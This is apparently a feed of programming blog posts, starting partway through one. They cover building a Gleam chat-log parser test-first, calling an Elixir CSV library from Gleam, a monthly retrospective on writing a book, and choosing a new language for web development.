What do I even do? Split the string into tokens and then do something with that?

Eventually, I realized for a simple implementation, I wanted to just split the string into lines, so I want to do this:

pub fn parse(contents: String) -> List(String) {
 string.split(contents, on: "\n")
}

If I test again, I get this:

$ gleam test
 Compiling log_parser
 Compiled in 0.21s
 Running log_parser_test.main
F
Failures:

 1) plaintext_logs_test.parse_simple_plaintext_log_test: module 'plaintext_logs_test'
 Values were not equal
 expected: ["hi", "hey whats up"]
 got: ["Session Start (DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005", "[18:44] Jane: hi", "[18:55] Me: hey whats up", "Session Close (Jane): Mon Sep 12 18:56:02 2005"]
 output:

Finished in 0.009 seconds
1 tests, 1 failures

Okay, now I’m a little closer.

How do I iterate over a list in a language with no loops?

I turned my logs into a list of lines, but that’s where I got stuck again.

I’m so used to for loops that my brain kept thinking, “How do I do a for loop to iterate over the elements?”

I realized I needed to call list.map. I need to define a function that acts on each element of the list.

import gleam/list
import gleam/string

fn parse_line(line: String) -> String {
 case line {
 "Session Start" <> _ -> ""
 "Session Close" <> _ -> ""
 line -> line
 }
}

pub fn parse(contents: String) -> List(String) {
 string.split(contents, on: "\n")
 |> list.map(parse_line)
}

This is my first time using pattern matching in any language, and it’s neat, though it’s still so unfamiliar that I find it hard to recognize when to use it.

Zooming in a bit on the pattern matching, it’s here:

 case line {
 "Session Start" <> _ -> ""
 "Session Close" <> _ -> ""
 line -> line
 }

It evaluates the line variable and matches it to one of the subsequent patterns within the braces. If the line starts with "Session Start" (the <> means the preceding string is a prefix), then Gleam executes the code after the ->, which in this case is just the empty string. Same for "Session Close".

If the line doesn’t match the "Session Start" or "Session Close" patterns, Gleam executes the last line in the case which just matches any string. In that case, it evaluates to the same string. Meaning "hi" would evaluate to just "hi".

This is where it struck me how strange it feels to not have a return keyword. In every other language I know, you have to explicitly return a value from a function with a return keyword, but in Gleam, the return value is just the value from the last line that Gleam executes in the function.

If I run my test, I get this:

$ gleam test
 Compiling log_parser
 Compiled in 0.22s
 Running log_parser_test.main
F
Failures:

 1) plaintext_logs_test.parse_simple_plaintext_log_test: module 'plaintext_logs_test'
 Values were not equal
 expected: ["hi", "hey whats up"]
 got: ["", "[18:44] Jane: hi", "[18:55] Me: hey whats up", ""]
 output:

Finished in 0.009 seconds
1 tests, 1 failures

Again, this is what I expected, and I’m a bit closer to my goal.

I’ve converted the "Session Start" and "Session End" lines to empty strings, and the middle two elements of the list are the lines that have AIM messages in them.

The remaining work is:

Strip out the time and sender parts of the log lines.
Filter out empty strings.

Scraping an AIM message from a line

At this point, I have a string like this:

[18:55] Me: hey whats up

And I need to extract just the portion after the sender’s name to this:

hey whats up

My instinct is to use a string split function and split on the : character. I see that there’s string.split which returns List(String).

There’s also a string.split_once function, which should work because I can split once on : (note the trailing space after the colon).

The problem is that split_once returns Result(#(String, String), Nil), a type that feels scarier to me. It’s a two-tuple wrapped in a Result, which means that the function can return an error on failure. It’s confusing that split_once can fail whereas split cannot, so for simplicity, I’ll go with split.

fn parse_line(line: String) -> String {
 case line {
 "Session Start" <> _ -> ""
 "Session Close" <> _ -> ""
 line -> {
 echo string.split(line, on: ": ")
 todo
 }
 }
}

If I run my test, I get this:

$ gleam test
warning: Todo found
 ┌─ /home/mike/code/gleam-log-parser/src/plaintext_logs.gleam:10:7
 │
10 │ todo
 │ ^^^^ This code is incomplete

This code will crash if it is run. Be sure to finish it before
running your program.

Hint: I think its type is `String`.


 Compiled in 0.01s
 Running log_parser_test.main
src/plaintext_logs.gleam:9
["[18:44] Jane", "hi"]

Good. That’s doing what I want. I’m successfully isolating the "hi" part, so now I just have to return it.

How do I access the last element of a list?

At this point, I feel close to victory. I’ve converted the line to a list of strings, and I know the string I want is the last element of the list, but how do I grab it?

In most other languages, I’d just say line_parts[1], but Gleam’s lists have no accessors by index.

Looking at the gleam/list module, I see a list.last function, so I try that:

fn parse_line(line: String) -> String {
 case line {
 "Session Start" <> _ -> ""
 "Session Close" <> _ -> ""
 line -> {
 string.split(line, on: ": ")
 |> list.last
 |> echo
 |> todo
 }
 }
}

If I run that, I get:

$ gleam test
 Compiling log_parser
warning: Todo found
 ┌─ /home/mike/code/gleam-log-parser/src/plaintext_logs.gleam:12:11
 │
12 │ |> todo
 │ ^^^^ This code is incomplete

This code will crash if it is run. Be sure to finish it before
running your program.

Hint: I think its type is `fn(Result(String, Nil)) -> String`.


 Compiled in 0.24s
 Running log_parser_test.main
src/plaintext_logs.gleam:11
Ok("hi")

A bit closer! I’ve extracted the last element of the list to find "hi", but now it’s wrapped in a Result type.

I can unwrap it with result.unwrap

fn parse_line(line: String) -> String {
 case line {
 "Session Start" <> _ -> ""
 "Session Close" <> _ -> ""
 line -> {
 string.split(line, on: ": ")
 |> list.last
 |> result.unwrap("")
 }
 }
}

Re-running gleam test yields:

$ gleam test
 Compiling log_parser
 Compiled in 0.22s
 Running log_parser_test.main
F
Failures:

 1) plaintext_logs_test.parse_simple_plaintext_log_test: module 'plaintext_logs_test'
 Values were not equal
 expected: ["hi", "hey whats up"]
 got: ["", "hi", "hey whats up", ""]
 output:

Finished in 0.008 seconds
1 tests, 1 failures

Great! That did what I wanted. I reduced the messages lines to just the contents of the messages.

Filtering out empty strings

The only thing that’s left is to filter the empty strings out of the list, which is straightforward enough with list.filter:

pub fn parse(contents: String) -> List(String) {
 string.split(contents, on: "\n")
 |> list.map(parse_line)
 |> list.filter(fn(s) { !string.is_empty(s) })
}

And I re-run the tests:

$ gleam test
 Compiling log_parser
 Compiled in 0.22s
 Running log_parser_test.main
.
Finished in 0.007 seconds
1 tests, 0 failures

Voilà! The tests now pass!

Tidying up string splitting

My tests are now passing, so theoretically, I’ve achieved my initial goal.

I could declare victory and call it a day. Or, I could refactor!

I’ll refactor.

I feel somewhat ashamed of my string splitting logic, as it didn’t feel like idiomatic Gleam. Can I do it without getting into result unwrapping?

Re-reading it, I realize I can solve it with this newfangled pattern matching thing. I know that the string will split into a list with two elements, so I can create a pattern for a two-element list:

fn parse_line(line: String) -> String {
 case line {
 "Session Start" <> _ -> ""
 "Session Close" <> _ -> ""
 line -> {
 case string.split(line, on: ": ") {
 [_, message] -> message
 _ -> ""
 }
 }
 }
}

That feels a little more elegant than calling result.last.

Can I tidy this up further? I avoided string.split_once because the type was too confusing, but it’s probably the better option if I expect only one split, so what does that look like?

fn parse_line(line: String) -> String {
 case line {
 "Session Start" <> _ -> ""
 "Session Close" <> _ -> ""
 line -> {
 echo string.split_once(line, on: ": ")
 todo
 }
 }
}

To inspect the data, I run my test again:

$ gleam test
[...]
src/plaintext_logs.gleam:9
Ok(#("[18:44] Jane", "hi"))

Okay, that doesn’t look as scary as I thought. Even though my first instinct is to unwrap the error and access the last element in the tuple (which actually is easy for tuples, just not lists), I know at this point that there’s probably a pattern-matchy way. And there is:

fn parse_line(line: String) -> String {
 case line {
 "Session Start" <> _ -> ""
 "Session Close" <> _ -> ""
 line -> {
 case string.split_once(line, on: ": ") {
 Ok(#(_, message)) -> message
 _ -> ""
 }
 }
 }
}

The Ok(#(_, message)) pattern will match a successful result from split_once, which is a two-tuple of String wrapped in an Ok result. The other case option is the catchall that returns an empty string.

Getting rid of the empty string hack

One of the compelling features of Gleam for me is its static typing, so it feels hacky that I’m abusing the empty string to represent a lack of message on a particular line. Can I use the type system instead of using empty strings as sentinel values?

The pattern in Gleam for indicating that something might fail but the failure isn’t necessarily an error is Result(<type>, Nil), so let me try to rewrite it that way:

import gleam/list
import gleam/result
import gleam/string

fn parse_line(line: String) -> Result(String, Nil) {
 case line {
 "Session Start" <> _ -> Error(Nil)
 "Session Close" <> _ -> Error(Nil)
 line -> {
 case string.split_once(line, on: ": ") {
 Ok(#(_, message)) -> Ok(message)
 _ -> Error(Nil)
 }
 }
 }
}

pub fn parse(contents: String) -> List(String) {
 string.split(contents, on: "\n")
 |> list.map(parse_line)
 |> result.values
}

Great! I like being more explicit that the lines without messages return Error(Nil) rather than an empty string. Also, result.values is more succinct for filtering empty lines than the previous list.filter(fn(s) { !string.is_empty(s) }).

Overall reflections

After spending a few hours with Gleam, I’m enjoying it. It pushes me out of my comfort zone the right amount where I feel like I’m learning new ways of thinking about programming but not so much that I’m too overwhelmed to learn anything.

The biggest downside I’m finding with Gleam is that it’s a young language with a relatively small team. It just turned six years old, but it looks like the founder was working on it solo until a year ago. There are now a handful of core maintainers, but I don’t know if any of them work on Gleam full-time, so the ecosystem is a bit limited. I’m looking ahead to parsing other log formats that are in HTML and XML, and there are Gleam HTML and XML parsers, but they don’t seem widely used, so I’m not sure how well they’ll work.

Love: Pipelines

I love love love Gleam’s pipeline syntax. You can see me using it in the test with the |> characters:

 "..."
 |> string.trim
 |> plaintext_logs.parse
 |> should.equal(["hi", "hey whats up"])

The non-pipeline equivalent of the test would look like this:

pub fn parse_simple_plaintext_log_test() {
 let input = "..."
 let trimmed = string.trim(input)
 let parsed = plaintext_logs.parse(trimmed)

 should.equal(parsed, ["hi", "hey whats up"])
}

It looks like wet garbage by comparison.

Now that I’ve seen pipelines, they feel so obvious and conspicuously missing in every other programming language I use.

I’ve enjoyed pipelining in bash, but it never occurred to me how strange it is that other programming languages never adopted it.

Like: Example-centric documentation

The Gleam documentation is a bit terse, but I like that it’s so example-heavy.

I learn best by reading examples, so I appreciate that so much of the Gleam standard library is documented with examples showing simple usage of each API function.

Like: Built-in unused symbol warnings

I like that the Gleam compiler natively warns about unused functions, variables, and imports. And I like that these are warnings rather than errors.

In Go, I get frustrated during debugging when I temporarily comment something out and then the compiler stubbornly refuses to do anything until I fix the stupid import, which I then have to un-fix when I finish whatever I was debugging.

Like: `todo` keyword

One of my favorite dumb programming jokes happened at my first programming job about 15 years ago. On a group email thread with several C++ developers, my friend shared a hot tip about C++ development.

He said that if we were ever got fed up with arcane C++ compilation errors, we could just add a special line to our source code, and then even invalid C++ code would compile successfully:

#pragma always_compile

Spoiler alert: it’s not a real C++ preprocessor directive.

But I’ve found myself occasionally wishing languages had something like this when I’m in the middle of development and don’t care about whatever bugs the compiler is trying to protect me from.

Gleam’s todo is almost like a #pragma always_compile. Even if your code is invalid, the Gleam compiler just says, “Okay, fine. I’ll run it anyway.”

You can see this when I was in the middle of implementing parse_line:

fn parse_line(line: String) -> String {
 case line {
 "Session Start" <> _ -> ""
 "Session Close" <> _ -> ""
 line -> {
 echo string.split(line, on: ": ")
 todo
 }
 }
}

If I take out the todo, Gleam refuses to run the code at all:

$ gleam test
 Compiling log_parser
error: Type mismatch
 ┌─ /home/mike/code/gleam-log-parser/src/plaintext_logs.gleam:8:5
 │
 8 │ ╭ line -> {
 9 │ │ echo string.split(line, on: ": ")
10 │ │ }
 │ ╰─────^

This case clause was found to return a different type than the previous
one, but all case clauses must return the same type.

Expected type:

 String

Found type:

 List(String)

Right, I’m returning an incorrect type, so why would the compiler cooperate with me?

But adding todo lets me run the function anyway, which helps me understand what the code is doing even though I haven’t finished implementing it:

$ gleam test
warning: Todo found
 ┌─ /home/mike/code/gleam-log-parser/src/plaintext_logs.gleam:10:7
 │
10 │ todo
 │ ^^^^ This code is incomplete

This code will crash if it is run. Be sure to finish it before
running your program.

Hint: I think its type is `String`.


 Compiling log_parser
 Compiled in 0.21s
 Running log_parser_test.main
src/plaintext_logs.gleam:9
["[18:44] Jane", "hi"]
F
[...]
Finished in 0.007 seconds
1 tests, 1 failures

Like: Pattern matching

I find pattern matching elegant and concise, though it’s the part of Gleam I find hardest to adjust to. It feels so different from procedural style of programming I’m accustomed to in other languages I know.

The downside is that I have a hard time recognizing when pattern matching is the right tool, and I also find pattern matching harder to read. But I think that’s just inexperience, and I think with more practice, I’ll be able to think in pattern matching.

Dislike: Error handling

I find Gleam’s error handling pretty awkward, especially because errors ruin the beauty of nice, tidy pipelines.

For example, if I had a string processing pipeline like this:

string.split(line, on: "-")
|> list.last
|> result.unwrap("") // Ugly!
|> string.uppercase

That result.unwrap line feels so ugly and out of place to me. I wish the syntax was like this:

string.split(line, on: ": ")
|> try list.last
|> string.uppercase
|> Ok

Where try causes the function to return an error, kind of like in Zig.

Dislike: Small core language

I don’t know if this is a long-term design choice or if it’s just small for now because it’s an indie-developed language, but the first thing about Gleam that stood out to me is how few built-in features there are.

For example, there’s no built-in feature for iterating over the elements of a List type, and the type itself doesn’t expose a function to iterate it, so you have to use the gleam/list module in the standard library.

Similarly, if a function can fail, it returns a Result type, and there are no built-in functions for handling a Result, so you have to use the gleam/result module to check if the function succeeded.

To me, that functionality feels so core to the language that it would be part of the language itself, not the standard library.

Dislike: Limited standard library

In addition to the language feeling small, the standard library feels pretty limited as well.

There are currently only 19 modules in the Gleam standard library. Conspicuously absent are modules for working with the filesystem (the de facto standard seems to be the third-party simplifile module).

For comparison, the standard libraries for Python and Go each have about 250 modules. Although, in fairness, those languages have about 1000x the resources as Gleam.

Source code

The source code for this project is available on Codeberg:

https://codeberg.org/mtlynch/gleam-chat-log-parser

Commit 291e6d is the version that matches this blog post.

Thanks to Isaac Harris-Holt for helpful feedback on this post.

A Simple Example of Calling an Elixir Library from Gleam

Sun, 08 Jun 2025 00:00:00 +0000

I’ve been experimenting a bit with Gleam and Elixir lately as part of my search for a new programming language.

One of Gleam’s flagship features is that it can call Elixir code and libraries, but I couldn’t find any examples of how to do that. I wrote a simple example of calling an Elixir library from a Gleam project, based on my beginner’s understanding of the Gleam/Elixir/Erlang ecosystem.

Install dependencies

For this example, I’m using

Gleam 1.10.0
Erlang 27.3.4
Elixir 1.18.3

You can install these dependencies however you want. I use Nix to manage my dependencies, so I install everything by creating a flake.nix as follows.

{
 description = "Dev environment for gleam-call-elixir-simple";

 inputs = {
 flake-utils.url = "github:numtide/flake-utils";

 # 27.3.4
 erlang-nixpkgs.url = "github:NixOS/nixpkgs/8406224e30c258025cb8b31704bdb977a8f1f0";

 # 1.10.0
 gleam-nixpkgs.url = "github:NixOS/nixpkgs/3866ad91cfc172f08a6839def503d8fc2923c603";
 };

 outputs = {
 self,
 flake-utils,
 erlang-nixpkgs,
 gleam-nixpkgs,
 } @ inputs:
 flake-utils.lib.eachDefaultSystem (system: let
 erlang = erlang-nixpkgs.legacyPackages.${system}.beam27Packages.erlang;
 elixir = erlang-nixpkgs.legacyPackages.${system}.beam27Packages.elixir;
 gleam = gleam-nixpkgs.legacyPackages.${system}.gleam;
 inotify-tools = erlang-nixpkgs.legacyPackages.${system}.inotify-tools;
 in {
 devShells.default =
 erlang-nixpkgs.legacyPackages.${system}.mkShell
 {
 packages = [
 erlang
 elixir
 gleam
 inotify-tools
 ];

 shellHook = ''
 echo "erlang" $(erl -eval 'erlang:display(erlang:system_info(otp_release)), halt().' -noshell)
 gleam --version
 '';
 };

 formatter = erlang-nixpkgs.legacyPackages.${system}.alejandra;
 });
}

download flake.nix

If I run nix develop, I see that erlang and Gleam are available in my shell:

$ nix develop
erlang "27"
gleam 1.10.0

Create the project

I create a project using gleam new. I’m hosting the project outside of Github, so I add --skip-github to skip the Github-specific files Gleam adds by default:

PROJECT_NAME='call_elixir'
gleam new --name "${PROJECT_NAME}" --skip-github .

Sidequest: Working around a Gleam package bug

From here, I try to run the boilerplate code that gleam new generated for me, but it fails:

$ gleam run
 Resolving versions
Downloading packages
 Downloaded 2 packages in 0.01s
 Compiling gleam_stdlib
error: Incompatible Gleam version

The package `gleeunit` requires a Gleam version satisfying 1.11.0 <= v but you are using v1.10.0.

The issue is that gleam new added gleeunit 1.4.0 as a dependency, but that package depends on Gleam 1.11.0, which is newer than my local version of Gleam (1.10.0).

Someone else ran into this same issue and filed a bug on Github just an hour before I hit this.

I can work around this by forcing Gleam to downgrade to gleeunit 1.3.1:

$ gleam add --dev gleeunit@1.3.1
 Resolving versions
Downloading packages
 Downloaded 1 package in 0.00s
 Added gleeunit v1.3.1

And then gleam run and gleam test work as expected:

$ gleam run
 Compiling gleeunit
 Compiling call_elixir
 Compiled in 0.28s
 Running call_elixir.main
Hello from call_elixir!

$ gleam test
 Compiled in 0.01s
 Running call_elixir_test.main
.
Finished in 0.006 seconds
1 tests, 0 failures

Install an Elixir package

I want to pick a package that has simple semantics, so how about a CSV library?

The hex package manager shows that the most popular CSV package is called CSV, so I install that:

$ gleam add csv
 Resolving versions
Downloading packages
 Downloaded 1 package in 0.00s
 Added csv v3.2.2

Sidenote: There’s a Gleam-native CSV library called gsv, but I’m using an Elixir library instead so I can practice calling a non-Gleam library.

Testing the CSV package with Elixir

First, I need to understand how to call the CSV package APIs at all, and then I can write an Elixir wrapper for the APIs I need.

I want to call the CSV.encode function, which has this signature:

@spec encode(Enumerable.t(), [encode_options()]) :: Enumerable.t()

So, encode has two parameters:

An object that implements the Enumerable protocol.
(optional) An encode_options() type.

And it returns an object that implements the Enumerable protocol.

I don’t know Elixir, so I start iex, the interactive Elixir shell, to understand the semantics:

iex

Then, I install the CSV package within iex:

iex> Mix.install([:csv])
Resolving Hex dependencies...
Resolution completed in 0.008s
New:
 csv 3.2.2
* Getting csv (Hex package)

Now, I try one of the examples from the CSV package documentation:

iex> [~w(a b), ~w(c d)]
[["a", "b"], ["c", "d"]]
iex> |> CSV.encode
#Function<61.117496853/2 in Stream.transform/3>
iex> |> Enum.take(2)
["a,b\r\n", "c,d\r\n"]

I don’t understand Elixir’s sigil syntax yet, and I don’t like examples with “a” and “b”, so here’s a rewrite that feels more intuitive to me:

iex> CSV.encode([["movie", "rating"], ["The Godfather", 10], ["Gigli", 2]])
#Function<61.117496853/2 in Stream.transform/3>

iex> |> Enum.to_list()
["movie,rating\r\n", "The Godfather,10\r\n", "Gigli,2\r\n"]

iex> |> IO.puts()
movie,rating
The Godfather,10
Gigli,2

:ok

Okay, so it looks like CSV.encode takes in a list of list of strings and returns an Enumerable of strings.

Create a Gleam wrapper for the Elixir package

Now that I understand the semantics of CSV.encode, I need to write a wrapper function to call it from Gleam.

The main challenge of writing a Gleam wrapper for an Elixir function is that the two languages don’t have matching types. Gleam uses more strict static typing, whereas Elixir uses more flexible dynamic typing.

Wrapping `CSV.encode`

I want to call the CSV.encode function, whose signature, again, looks like this:

@spec encode(Enumerable.t(), [encode_options()]) :: Enumerable.t()

It doesn’t look like the Gleam standard library has any equivalent of Elixir’s Enumerable, so I need to use another Elixir API to convert from Enumerable to something Gleam understands.

Enum.to_list seems like the best option, as it returns an Elixir built-in list type, and Gleam has an equivalent List type.

So, first, I’ll define a Gleam wrapper function for the Elixir CSV.encode API:

// Create a custom Gleam type to represent the type we receive from Elixir.
type ElixirEnumerable

@external(erlang, "Elixir.CSV", "encode")
fn csv_encode(data: List(List(String))) -> ElixirEnumerable

The @external attribute allows me to call Elixir code from Gleam. Gleam, Elixir, and Erlang all can compile to bytecode that runs on the BEAM virtual machine. Within BEAM, the CSV.encode function appears under the namespace Elixir.CSV, so that’s why I need to specify Elixir in the @external attribute.

I define the input paramater as a Gleam list of list of strings (List(List(String))), which is compatible with Erlang’s Enumerable type.

CSV.encode returns an Elixir Enumerable, but I don’t know a Gleam equivalent to that, so I define a custom type of ElixirEnumerable.

Gleam code can’t do anything with ElixirEnumerable because it doesn’t have any data that Gleam knows how to access natively, so I need a way to convert ElixirEnumerable to a Gleam-native type.

Converting an Elixir `Enumerable` to a Gleam `List`

To convert from Elixir’s Enumerable type to a Gleam List, I declare another external function for converting the result:

@external(erlang, "Elixir.Enum", "to_list")
fn enum_to_list(elixir_enum: ElixirEnumerable) -> List(String)

Here, I’m using Elixir’s Enum.to_list function to convert the ElixirEnumerable to an Elixir List type, which seems to match the Gleam List type.

Creating a Gleam-friendly wrapper

Now that I’ve written functions that can wrap the Elixir APIs I want, it’s time to tie it all together with a function I’ll expose to my Gleam app from this module:

pub fn encode(data: List(List(String))) -> List(String) {
 data
 |> csv_encode
 |> enum_to_list
}

The function is simple. It takes data in the form of a list of list of strings, then uses the Gleam pipe operator to pass it to csv_encode, then uses the pipe operator again to convert the result to a Gleam-compatible list of strings.

This is the only function in my csv module that I declare as public, as the other wrappers are too low-level to be useful to Gleam clients of this module.

The full module looks like this:

// Create a custom Gleam type to represent the type we receive from Elixir.
type ElixirEnumerable

@external(erlang, "Elixir.CSV", "encode")
fn csv_encode(data: List(List(String))) -> ElixirEnumerable

@external(erlang, "Elixir.Enum", "to_list")
fn enum_to_list(elixir_enum: ElixirEnumerable) -> List(String)

pub fn encode(data: List(List(String))) -> List(String) {
 data
 |> csv_encode
 |> enum_to_list
}

download csv.gleam

Calling my wrapper function

Now that I have a Gleam-native wrapper for the CSV.encode function, I can write a simple Gleam app to call my wrapper:

import gleam/io
import gleam/string
import csv

pub fn main() {
 [
 ["Title", "Author", "Release Year"],
 ["Infinite Jest", "David Foster Wallace", "1996"],
 ["Emma", "Jane Austen", "1815"],
 ["Catch-22", "Joseph Heller", "1961"]
 ] |> csv.encode()
 |> string.concat()
 |> io.print()
}

download call_elixir.gleam

I’m creating a simple list of list of strings, passing it to my csv.encode Gleam wrapper. It returns a list of strings, so I call Gleam’s string.concat standard library function to join strings into a single string. Finally, I call io.print to print the result to the console.

$ gleam run
 Compiling call_elixir
 Compiled in 0.20s
 Running call_elixir.main
Title,Author,Release Year
Infinite Jest,David Foster Wallace,1996
Emma,Jane Austen,1815
Catch-22,Joseph Heller,1961

It works! I successfully called the Elixir CSV library from my simple Gleam application.

Source code

The full source of this example is available below:

https://codeberg.org/mtlynch/gleam-call-elixir-simple

–

Thanks to Louis Pilford and DisguisedPigeon for their helpful feedback on this post.

Refactoring English: Month 6

Wed, 04 Jun 2025 00:00:00 +0000

Highlights

The writing techniques I planned last month helped me publish faster and focus better.
I need to find more ways to talk to readers about my book.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Publish two chapters of my book to pre-order readers

Result: Published “You’re Qualified to Write a Blog Post” and “Good vs. Bad Content Marketing”
Grade: A

I completed these chapters and sent them to pre-order customers.

Assign soft writing time limits to every chapter of my book

Result: Added time limits to each chapter and wrote a quick script to process them all.
Grade: A

Explicit time limits have helped me avoid spinning on the same chapter forever.

Adapt preview chapters of my book to Asciidoc

Result: Started this but never finished.
Grade: F

I kept putting this off because it’s so boring to adapt existing chapters from Hugo to Asciidoc, but it will be good to get done.

It was harder than I expected to port over the custom CSS styles I’d applied on the web chapters to Asciidoc, so I need to get creative in how I style the PDF/epub versions.

One hour of good writing per day works

In last month’s retrospective, I brainstormed ideas about how to manage my time better as I write my book.

I found it difficult to decide how much time to invest in each chapter and how many hours per day to spend on writing given that I have no strict deadline and no objective way to decide if any chapter is ready to publish.

My plan was:

Write in flow state for 60 minutes per day (just writing, no browsing the web or my phone).
Start each workday by planning how I’ll spend each 30-minute block in my schedule.
Assign soft limits to how much I can spend on each chapter.

I’m happy to report that these techniques worked pretty well. I didn’t have perfect discipline every day, but when I know the goal is to only write for an hour per day, I find it easier to resist distractions and focus on writing.

The 60-minute limit also helped me capitalize on that time better. I used to just call the first hour of my day “writing time,” and I’d allow myself to do anything writing-related, which included fixing grammar or writing easier posts (like these retrospectives). Recognizing that my flow state time is limited made me better at using that hour just for writing and editing my book, which are my most cognitively demanding tasks. So, I still make time in my day for less challenging book tasks, but I schedule them outside of my focus hour.

Becoming less precious about my writing

There’s a quote I love in Rob Fitzpatrick’s book, Write Useful Books, about how it’s more important for non-fiction authors to give impactful advice than it is for them to have beautiful phrasing and perfect grammar:

I’ve heard plenty of people recommend a messy-but-effective book by saying:

Listen, it’s terribly written and full of typos and has a cover that appears to have been drawn by a distracted toddler, but it’s got something inside that’s just too important to miss. It’s going to change your life. You’ve got to read it. Trust me.

But I’ve never heard even a single person recommend a problem-solver with the inverse argument of:

This book is a real zero-impact way to spend thirteen dollars and three hours. But you can tell that the author is super smart, the cover is gorgeous, and there’s not even a single typo. You’re going to love it.

Rob Fitzpatrick, Write Useful Books

At the start of last month, I went through every planned chapter of my book and assigned a time limit for the first draft. So, to declare that I wanted to spend just five hours on my content marketing chapter, I added this comment to the top:

// Target: 5h

I ended up exceeding the limit on my content marketing chapter by three hours, so I updated the comment to this:

// Original Target: 5h
// Target: 9h
// Elapsed: 8h

And I wrote a short script to tell me my progress on the full book:

$ ./dev-scripts/evaluate-time-remaining
Total target (current): 119.5h / 23.9wks
Total target (original): 114.0h / 22.8wks
Total elapsed: 19.5h / 3.9wks
Total remaining: 100.0h / 20.0wks

Obviously, I’m not perfect at obeying my time limits yet, but setting a limit discourages me from fussing too much over my wording.

I have this mental block that because I’m writing a book about writing, every word has to be perfect before any readers see it. I’m trying to adopt the attitude that I’m currently just working on a first draft, and it’s more important to convey useful ideas than to maximize eloquence.

How can I keep talking to readers?

When I publish new blog posts, I get satisfaction from hearing reader feedback and seeing discussions about my posts on places like Hacker News and Lobsters.

I find it hard to replicate that feeling of feedback for the chapters I only send to pre-order readers. I’ve tried sending out questionnaires, but only a handful of readers fill them out.

I need a way to keep talking to readers about the book, both for my own motivation and to make sure I’m writing about things readers care about and my explanations make sense.

I’d like to do more video calls. I’ve done two live video calls with groups of readers so far, and those have been fun and helpful in understanding what readers want to learn from me and from the book.

$7k for a brand-new project is still pretty good

I’m still struggling with doubts about my book. I’m betting a lot on a product that generates less money than a software product would. I’ve made about $7k from pre-orders, but I have a nagging worry that I committed myself to the book for the next several months, and I might not make any money in that time.

Then, I realized that $7k in profit is pretty good five months in!

If I started working on a software product five months ago and already had $7k in profits, that would be a great start.

I haven’t run the numbers, but I think that hour-for-hour, my book has had the third-best return on investment of any of my products (after TinyPilot and Hit the Front Page of Hacker News). I’m still falling shy of my $50k profit goal for 2025, but I’m doing better than I feel like I’m doing. And there are still ways to keep selling pre-orders as I write.

Wrap up

What got done?

Published “Which New Language Should I Learn for Web Development?”
Published my notes from Simon Willison’s Interview on Software Misadventures
- I always feel like I should do more of this because I find it valuable to myself and for other people.
- But then I do it, and it takes longer than I expect, and I can’t share it anywhere, and I remember why I don’t do it very often.
I appeared as a guest on The TMPDIR podcast to talk about ways for developers to improve their writing.
Upgraded my home NAS server from 23 TB to 33 TB.

Lessons learned

Limit your focused writing time, but make the most of it.
- Knowing that I have to stay in flow state for 60 minutes per day helps me focus and makes me value that time more.
Prioritize conversations with readers.
- Conversations with readers help my motivation and give me confidence that I’m writing something people want to read.

Goals for next month

Offer a lower-friction way for users to pre-order my book.
- Currently, the only way is through Kickstarter, which requires readers to create a Kickstarter account.
Publish a new sample chapter on the book website.
Meet at least 10 readers on video calls.

Which New Language Should I Learn for Web Development?

Thu, 29 May 2025 00:00:00 +0000

One of my goals for the year is to learn a new programming language. It’s been a while since I learned a new language, and I feel like a lot of the languages I know well (Go, Python, C++) are similar to each other, so I want to try getting out of my comfort zone a bit with a language that feels weird to me.

Requirements

Here’s what I’m looking for:

It’s significantly different from languages I know well
Web apps are a first-class citizen
Makes it easy to build small, simple apps
- I want the opposite of Angular, which feels overly optimized for large projects
Supports backend and frontend
- It doesn’t have to have a frontend framework, but I want to be able to use the same toolchain for backend and frontend like I can in Go or Python.
- I don’t want to use something like Elm that’s frontend-only.
- I don’t want separate build chains for the frontend and backend code (and I’m fine writing vanilla JS with some light backend templating).
Compatible with SQLite as a data store
Has good support for unit testing
Open-source
Actively-maintained

Nice-to-haves

There’s a good ebook available.
- Paid books are fine.
Low abstraction / limited “magic.”
- I find languages like Angular and Vue to be too “magical” in that there’s a bunch of Node.js packages in the mix that I don’t understand. And starting out, it feels fine, but once I get beyond trivial programs, I realize the abstractions are leaky, and there are complicated systems under the covers that I don’t understand. The other end of the spectrum is Zig, which feels extremely easy to reason about.
Static typing

Non-goals

Maximum performance
- Most of the apps I write have tiny performance requirements. Usually, the only user is me, and other times, I don’t expect more than a few dozen users simultaneously.
- I don’t want to use something that’s slow for a single user, but I want to avoid things that make tradeoffs in the name of achieving high scale.

How much I enjoy various languages

For reference, here’s how much I enjoy working in some other programming languages I know:

Language	Rating	My Experience	Notes
Go	9	High	Go is beautifully designed for web apps.
Zig	8	Low	Very fun for highly efficient or performant code, though not my ideal tool for web apps.
Python	6	High	I’ve done a lot in Python but the poor packaging and lack of typing has started to bother me.
JavaScript	5	Medium	I wish there were better packaging / testing tools that didn’t depend on node.js.
Angular	2	Low	Way too magical and complex.
Vue	4	Medium	I loved Vue2 for a while, but I’ve been burned too many times on my app breaking due to some bug or gotcha in the framework rather than in my code.
C++	4	Medium	I haven’t written it in a while. It’s okay in environments like Google with great tooling support, but I wouldn’t enjoy building a C++ dev environment from scratch in 2025.
C	6	Low	Same issues as C++ but I appreciate the simplicity.

Methodology

To research each language, I:

Read the features page for the language
Read the features page of the dominant web frameworks for that language
Looked for examples of simple, “hello world” web apps in each language
Asked LLMs to compare language features of languages to languages I know

Candidates

Elixir / Phoenix / LiveView

Elixir is high on my list because a lot of bloggers I think are smart seem to enjoy it. It also seems to have concepts and features that sound weird and interesting.

I like that Elixir has a very official web framework: Phoenix. I’m not crazy about Phoenix depending on Tailwind CSS by default, though it looks like I can turn that off.

The new thing is Phoenix LiveView, which seems to be a way to create web apps without writing much JavaScript because LiveView uses websockets to push backend state down to the frontend without a page reload. But LiveView generates SPAs, and I’m so tired of SPAs and don’t want to invest in them anymore. You can use Phoenix without LiveView, but I get the sense that LiveView is where they’re investing a lot of their resources.

Good
- ✅ Cool language features
- ✅ Has a compelling solution for web apps
- ✅ Built on Erlang, so it has access to the Erlang ecosystem
Bad
- ❌ No static typing
- ❌ LiveView is designed for SPAs
- ❌ LiveView feels “magical”

Gleam / Lustre

Gleam seems like Elixir’s scrappy little brother. It has a lot of language features in common with Elixir like pattern-matching and pipelining, but it has static typing (nice!).

Gleam doesn’t support metaprogramming, which I have mixed feelings about. In general, I dislike metaprograming and always feel like I’m not smart enough to do it, so in a way I’m happy Gleam excluded this feature. On the other hand, if my goal is to try something new, maybe I should force myself to try metaprogramming.

